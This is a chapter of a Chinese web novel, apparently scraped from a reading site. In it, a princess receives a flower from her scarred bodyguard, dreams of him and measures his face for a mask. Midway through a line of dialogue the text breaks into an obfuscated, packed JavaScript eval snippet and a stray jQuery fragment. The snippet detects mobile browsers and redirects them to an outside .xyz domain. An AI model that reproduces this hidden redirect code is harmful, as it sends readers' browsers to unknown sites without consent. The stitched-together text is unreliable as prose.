默认冷灰
24号文字
方正启体

11. 超绝钝感力

作者:提刀斩月本书字数:K更新时间:
    云惜一时无法直视他,也顾不上问什么具体,直接说道:“你……你别说!帮我做了一天功课应该也累了,先回去休息吧。”


    尴尬得她想逃离这个世界。


    闻言,纪珣点头:“哦。”


    他毫无一丝异常反应,甚至可以说对这件事完全不放在心上,这样一来,倒显得云惜有些刻意了。


    幸好他脑子有问题。


    云惜对他超绝钝感力感到惊讶,眼看着他提着灯笼转身离去。


    她正要回寝殿,没走两步,背后忽然被碰了一下。


    回过头,是纪珣折返回来。他伸出手,修长手指翻出一朵火红的花,递到她身前,花瓣上还带着晶莹露珠,颇为可爱。


    “方才忘记了。”纪珣说,“这个,送给公主。”


    云惜一怔,她一眼便认出来,这是赤焰花,生长在长安郊外,每年这个时候,总是会开出一大片红色,像燃烧飘扬的火焰。


    有赤焰花的地方,必定会有焦尾蝶。这应该是他抓蝴蝶时顺手摘的。


    纪珣:“子时未过,现在还是殿下的生辰。祝殿下生辰喜乐。”


    “为什么送我这个?”云惜怔怔地看着他。


    纪珣瞥了一眼她头顶,乌青云鬓间簪了一支赤焰花步摇,白日里,便是这支步摇吸引了蝴蝶。


    “我以为殿下喜欢。”纪珣用陈述的语气说。


    况且,她也送过他一枝白牡丹。


    云惜接过那朵赤焰花,一股淡香萦绕在鼻间,和纪珣身上的有些相似。这朵赤焰花正是开得最灿烂的时刻,鲜红花瓣娇艳欲滴。


    云惜盯着那朵花感动了好一会儿,正想抬头说声谢谢,却发现纪珣已经走了,她只看到门被关上时闪过的影子。


    “……”


    这个死直男。


    【系统:哦豁,他送你小花,看来对宿主很上心呢。】


    云惜:“……胡说八道。”


    她承认刚才有一瞬间的感动,不过纪珣可能压根不知道给女孩子送花的含义,只是顺手摘来就给她了。


    只是一朵花而已,她没必要自作多情。


    想着,她直接切断了话多的系统,转身回了寝殿。


    云惜想了想,把桌上花瓶里名贵的异域贡花取出来,把纪珣送的赤焰花插进去养着。


    她坐在桌前欣赏了好一会儿,直到圆荷带着一群侍女进来替她更衣。


    “殿下看着心情很好,今日有什么高兴的事吗?”侍女见她唇角微扬,也跟着笑了起来。


    云惜回过神,立马收敛了表情:“嗯?有吗?”


    公主府的侍女和云惜关系都不错,云惜从来不责罚她们,反而把她们当成姐妹一样相处。


    面对云惜,侍女并没有那么小心谨慎,反而调侃道:“殿下前些日子总是闷闷不乐,自从收了纪侍卫,脸上的笑容都多了。想来是纪侍卫有什么特别的过人之处吧。”


    深夜时分,正是女人私谈闺中秘事的时候,云惜自然听出了她的话外之意。


    云惜瞪了她一眼,笑骂道:“少乱说,小心本宫把你送去嬷嬷那边教育。”


    脑子一根筋,这就是纪珣唯一的过人之处。嗯……功夫好也算一项吧。


    不知为何,侍女提起纪珣时,并没有让云惜觉得反感,或许是因为她知道纪珣对她没意思,所以也无所谓这种调侃。


    要是换了原著中任何一个和她有关系的男人,云惜估计得把隔夜饭都吐出来。


    更衣洗漱完之后,云惜便躺上了床榻,白天睡得太饱,她现在还没有任何困意,于是随便拿了白天没看完的话本子。


    她看了一会儿,正好看到话本中的男女主互送定情信物,然后便觉得有些困,眼皮子开始打架。


    【“彤管有炜,说怿女美……匪女之为美,美人之贻……”】


    云惜逐渐睡着了。


    在梦里,她变成了话本中的女主角,站在一棵海棠树下,等待情郎的到来。


    当情郎出现时,赫然变成了纪珣的脸。他没有戴银面,将那烧伤的痕迹坦然暴露在月光下,另一半脸依然漂亮得夺人心魄。


    她却一点儿也不感觉害怕,反而捧起他的脸颊,缓缓靠近,直到如话本所写的那样,肌肤相贴。


    梦境一转,又回到了公主府书房,趴在桌上的云惜滚入了纪珣怀里,他对她笑了,随后将她打横抱起,走向小榻。


    云鬓花颜金步摇,芙蓉帐暖度春宵。


    ……


    翌日清晨,云惜在寝殿外的鸟鸣声中惊醒。


    意识清晰后,她一下子从床上坐起来,床上的话本滑落到地面。


    云惜想起了昨晚做的梦。


    她梦到纪珣了。


    一如限制文中的标准剧情,这个梦一点儿也不老实。


    她不知道自己为什么会突然做这种梦,可能是最近压力太大,又看了许多乱七八糟的话本子。


    回过神来的云惜长舒一口气,擦了擦额头上的细汗:“……”


    幸好只是梦,不然就乱套了。


    现实中的纪珣是不可能做出那种事的。


    庆幸的同时,云惜又感觉有些羞耻,明明是她把纪珣找来保护自己避开限制剧情,结果她反倒先对人家做起梦来了。


    肯定是因为她最近看他太多了,下意识代入而已。


    而且过了十八岁,这种限制剧情的梦是不可避免的,也是原著play中的一部分。她能避开真人,但梦境却不一定避得开。


    算了,说到底也只是一个梦而已。


    云惜红着脸下了床,刚好侍女们也进来为她准备洗漱了,于是她暂时将此抛之脑后。


    洗漱完后,穿着整齐的云惜先去了一趟书房,打算把那些害人的话本子全扔掉,就算以后再无聊,也不能再看那种东西了。


    当她走到书房前时,却发现有人比她先来一步,门是开着的。


    云惜没有直接进去,站在门口看了一眼,发现书房里的人竟是纪珣,他不知何时来的,端坐在桌前,正提笔写着什么。


    仔细一看,是她剩下的功课。昨天没写完,今天他又来继续写。


    云惜躲在门后偷偷观察他,只见纪珣专注地盯着桌上的书,一边放着抄写宣纸,鸦黑羽睫低垂,修长手指握着小狼毫,迅速又工整地抄下每一个字。


    他特地写了偏清秀的女体字,那只平日提刀的大手此刻变得十分轻巧,小心翼翼地收着力道,和比武时一刀能震碎别人骨头的他截然不同。


    如果不是亲眼所见,云惜很难想象出呆木脑袋的纪珣有如此书卷气的一面。


    云惜有些明白,为何他最后能当上大将军了。像他这样文武双全且上进心强的人,只要一有机会,便能直上青云。


    俗话说男人专注的样子是最好看的,纪珣也不例外。虽然戴着半张银面,依然掩盖不了他优越的先天条件,只是远远地看着五官轮廓,便十分赏心悦目。


    看着他的脸,云惜又不禁想起了那天晚上,在铜镜中无意间看见他的身体。


    联想到做过的梦,云惜又是一阵脸热。


    不知为何,她忽然特别想再看看纪珣的全脸。


    这个想法一冒出来,云惜便走了进去,纪珣没有抬头,似乎早就察觉到她的存在。


    “殿下起得很早。”纪珣面无表情地说。


    云惜在他身边坐下:“你起得比我更早。看你这么敬业,我都忍不住想给你加俸禄了。”


    “其实我还能起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178654|180847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得更早。”纪珣说。


    云惜笑了笑,说:“生辰宴上答应你的一百两,收到了吗?”


    “库房今天一早便给我了,多谢殿下。”


    云惜看得出来,他就是为了等这一百两才早起的。


    “上次答应要送你一张金面,铸造司那边已经选好了样式,但还不知道你的尺寸。”


    纪珣思索一会儿,说:“需要我去一趟吗?”


    云惜摇头:“不用,只是量个尺寸而已。你把这张银面摘了,我比一下大概,然后派人去告诉铸造司便可。”


    纪珣盯着她,似乎想知道她怎么量,下一刻听见云惜说:“你可以把现在这张面具摘了吗?过来一点。”


    “会吓到殿下。”纪珣冷静答道。


    云惜:“我有准备,不会被吓到。况且,这里只有我们两个人。”


    纪珣停顿了一会儿,随后抬手解下银面,尽管如此,他还是下意识拨动垂落的发丝遮住。


    他低下身,把脑袋凑到云惜刚好能轻松碰到的位置。


    云惜刚想夸他,然后发现他这个姿势下来,视线刚好会落在她身上的某个部位,于是连忙说道:“脸抬起来。”


    纪珣抬眼,那双漆黑凌厉的墨眸毫不避讳,直直盯着云惜的脸,从这个角度,带着一种天然的侵略性。


    一双素手轻轻撩开他的乌发,他的目光也落到这双手上,似乎在打量着她纤细的手腕。


    他的发丝有些凉,云惜记得他的肌肤体温也和这差不多,在这炎炎夏日里显得极为反常,或许是体质原因,让他整个人摸起来都冰冰凉凉的。


    云惜撩开他的头发,露出那半张烧毁的面容,一眼看过去触目惊心,她伸出手指,抚过可怖的瘢痕,动作轻如羽毛。


    纪珣阖上眼,羽睫擦过她的掌心,带起一丝轻微的痒意。他一动不动,毫无保留地把自己的缺陷暴露在云惜面前。


    “你……以前是不是很疼?”


    他全身只有脸上留下了烧伤痕迹,身体上却没有,这让云惜十分疑惑,怀疑他以前是被人故意虐待了。


    “忘记了。”他薄唇轻启,“是很久之前的事。”


    “那你记得是谁害了你吗?”


    “没有任何人。”纪珣道,“家里起火,被烧掉的房梁砸到了。”


    他说起过往时,脸上依然没有任何神色,仿佛那不是他经历过的痛楚。


    云惜忽然想起昨晚在梦中,好像看见他笑了,但梦醒过后,记忆又变得模糊起来。


    他笑起来是什么样子?


    云惜非常好奇,但她也知道,以纪珣的身世经历,恐怕这辈子都没法笑出来。


    到底还是保护过她的人,云惜有些心疼他,却又不知该如何安慰。


    “殿下量好了吗?”


    “嗯。”


    其实仔细一看,云惜并不觉得他这副模样有多吓人,反而相比常人,有一种很特别的感觉。


    云惜收回手,纪珣也睁开了眼,看着她,等待她的下一个命令。


    “好了,你赶快帮我写功课,过几天我就要回太学宫了。”云惜说,“我在这里陪你一会儿。”


    纪珣思忖须臾,道:“去太学宫,我能一起吗?”


    “你当然要跟我一起。”云惜巴不得时刻把他栓在身边,“无论我去哪儿,你都要跟着我。”


    太学宫里的危险,远比公主府要多。


    一想到过几天要去太学宫面对那群讨厌的人,云惜便觉得浑身难受。


    不过有一点,她必须告诉纪珣:


    “太学宫里的人都是长安名门子女和寒门贵子,你去了那里,千万要注意,不要随便伤人。”


    “当然,我的意思是,别弄死就行。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)